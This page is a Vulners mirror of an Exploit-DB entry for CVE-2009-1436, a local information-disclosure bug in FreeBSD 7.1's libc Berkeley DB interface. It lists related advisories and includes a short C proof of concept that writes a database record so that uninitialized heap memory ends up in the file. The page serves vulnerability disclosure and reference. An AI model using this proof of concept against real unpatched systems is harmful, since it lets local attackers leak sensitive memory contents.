Lucene search
+L

FreeBSD 7.1 - libc Berkley DB Interface Uninitialized Memory Local Information Disclosure

🗓️ 15 Jan 2009 00:00:00Reported by Jaakko HeinonenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 17 Views

FreeBSD 7.1 libc Uninitialized Memory Local Info Disclosur

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-1436
15 Jan 200900:00
circl
CVE
CVE-2009-1436
27 Apr 200917:43
cve
Cvelist
CVE-2009-1436
27 Apr 200917:43
cvelist
EUVD
EUVD-2009-1434
7 Oct 202500:30
euvd
Tenable Nessus
Juniper Junos FreeBSD libc db Information Disclosure (JSA10756)
22 Jul 201600:00
nessus
NVD
CVE-2009-1436
27 Apr 200918:00
nvd
OpenVAS
Juniper Networks Junos OS libc Vulnerability
14 Jul 201600:00
openvas
OpenVAS
FreeBSD Security Advisory (FreeBSD-SA-09:07.libc.asc)
28 Apr 200900:00
openvas
Prion
Design/Logic Flaw
27 Apr 200918:00
prion
// source: https://www.securityfocus.com/bid/34666/info

FreeBSD is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

#include <sys/types.h>

#include <db.h>
#include <err.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main()
{
	const char data[] = "abcd";
	DB *db;
	DBT dbt;

	/*
	 * Set _malloc_options to "J" so that all memory obtained from
	 * malloc(3) is iniatialized to 0x5a. See malloc(3) manual page
	 * for additional information.
	 */
	_malloc_options = "J";

	db = dbopen("test.db", O_RDWR | O_CREAT | O_TRUNC, 0644, DB_HASH, NULL);
	if (db == NULL)
		err(1, "dbopen()");

	dbt.data = &data;
	dbt.size = sizeof(data);

	if (db->put(db, &dbt, &dbt, 0) != 0)
		err(1, "db->put()");

	db->close(db);

	return (0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.00892
17